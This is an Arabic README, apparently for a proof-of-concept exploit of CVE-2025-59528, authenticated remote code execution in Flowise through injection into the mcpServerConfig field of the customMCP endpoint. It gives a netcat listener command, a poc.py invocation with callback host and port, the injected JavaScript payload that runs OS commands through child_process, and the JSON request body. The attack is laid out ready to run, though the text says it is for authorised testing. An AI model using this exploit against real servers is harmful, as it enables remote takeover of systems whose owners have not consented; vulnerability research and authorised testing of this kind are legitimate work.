
إثبات المفهوم لـ CVE-2025-59528، يوضح تنفيذ الأوامر عن بُعد المُصادق عليه في Flowise عبر حقن mcpServerConfig، مع خطوات قابلة لإعادة الإنتاج للاختبار المصرح به.
إثبات مفهوم (PoC) مبسّط يركز على التحقق التقني من الثغرة في بيئة مصرّح بها.
nc -lvn 4444).شغّل المستمع أولاً:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
استبدل القيم بإعدادات بيئتك المصرّح بها.
3.0.5تنفيذ التعليمات البرمجية عن بُعد (RCE)POST /api/v1/node-load-method/customMCPتكمن المشكلة في كيفية معالجة inputs.mcpServerConfig: يتم تفسير هذه القيمة بطريقة تسمح بتنفيذ JavaScript من جانب الخادم. عمليًا، يمكن لمهاجم مصادق أن يحقن تعبيرًا يستدعي child_process وينفّذ أمر نظام تشغيل.
مسار الاستغلال هو:
customMCP.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).إذا تم قبوله، ينفّذ الخادم الأمر في سياق نظامه.
poc.py)يأخذ السكربت أربع وسائط:
-d/--domain: النطاق المستهدف-lh/--host: عنوان IP للاستدعاء-lp/--port: منفذ الاستدعاء-A/--api: رمز API من نوع Bearerثم يقوم بـ:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
مقارنةً بإثبات مفهوم EDB (الذي يقوم بتسجيل الدخول عبر البريد الإلكتروني/كلمة المرور، ويستخدم ترويسات شبيهة بالمتصفح، ويشغّل --cmd حر الشكل)، هذا السكربت أفضل للتحقق النقي من إثبات المفهوم:
mcpServerConfig والتنفيذ من جانب الخادم.باختصار: سكربت EDB هو عرض توضيحي هجومي أكثر عمومية، بينما إثبات المفهوم هذا أكثر استهدافًا لإعادة الإنتاج التقنية.
https أو معالجة الشهادات.--cmd).اختبر فقط على الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها.